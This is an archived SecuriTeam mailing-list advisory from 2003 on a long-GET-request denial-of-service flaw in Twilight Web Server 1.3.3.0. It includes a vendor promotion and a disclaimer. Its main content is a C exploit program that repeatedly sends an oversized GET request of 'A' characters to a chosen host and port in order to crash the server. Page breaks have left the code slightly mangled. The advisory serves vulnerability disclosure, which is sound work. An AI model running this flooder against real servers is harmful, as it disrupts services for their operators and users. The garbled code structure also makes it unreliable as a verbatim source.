

[NT] DoS Attack Against Twilight Web Server (Long GET Request)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0061.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/16/03

To: list@securiteam.com

Date: 16 Jul 2003 11:58:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

DoS Attack Against Twilight Web Server (Long GET Request)

SUMMARY

<<http://www.twilightutilities.com/WebServer.html>> Twilight Web Server is a "easy to install, and versatile web server". A security vulnerability in Twilight web server allows remote attackers to crash the server by sending to it a long HTTP GET request.

DETAILS

Vulnerable systems:

- * Twilight Web Server version 1.3.3.0

Immune systems:

- * Twilight Web Server version 1.3.4.0

Exploit:

/*****

- * Title: Denial of Service Attack against Twilight Webserver v1.3.3.0

Securiteam: [NT] DoS Attack Against Twilight Web Server (Long GET Request)

* Author: posidron
*
* Date: 2003-07-07
* Reference: <http://www.twilightutilities.com>
* Version: Twilight Webserver v1.3.3.0
* Related Info: http://www.tripbit.org/advisories/twilight_advisory.txt
*
* Exploit: twilight.c
* Compile: gcc twilight -o twilight
*
* Tripbit Security Development
*
* Contact
* [-] Mail: posidron@tripbit.org
* [-] Web: <http://www.tripbit.org>
* [-] IRC: irc.euirc.net 6667 #tripbit
*
* Program received signal SIGSEGV, Segmentation fault.
* 0x41d780 in ?? ()
*****/

```
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int sockfd;
    struct sockaddr_in srv;
    struct hostent *host;
    char send[1052], *flood[1037], get[3] = "GET", http[12] =
"HTTP/1.0\r\n";

    memset(flood, 0x41, 1037);

    strncpy(send, get, sizeof(send) - 1);
    strncat(send, flood, sizeof(send) - strlen(send) - 1);
    strncat(send, http, sizeof(send) - strlen(send) - 1);

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n", argv[0]);
        exit(0);
    }

    if((host = gethostbyname(argv[1])) == NULL)
    {
        printf("Unknown host!\n");
        exit(0);
    }
}
```

Securiteam: [NT] DoS Attack Against Twilight Web Server (Long GET Request)

```
}

srv.sin_family = AF_INET;
srv.sin_port = htons(atoi(argv[2]));
srv.sin_addr.s_addr = inet_addr((char*)argv[1]);

printf("DoS against Twilight Webserver v1.3.3.0\n");

for(;;)
{
    if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        printf("Can't start socket!\n"); exit(0);
    }

    if(connect(sockfd,(struct sockaddr*)&srv, sizeof(srv)) < 0)
    {
        printf("Connection to server broken!\n"); close(sockfd);
    }

    if(write(sockfd, send, strlen(send)) < 0)
    {
        break;
    }

    close(sockfd);
}

printf("Attack done!...\n");

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:Rushjo@tripbit.org> Rushjo.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.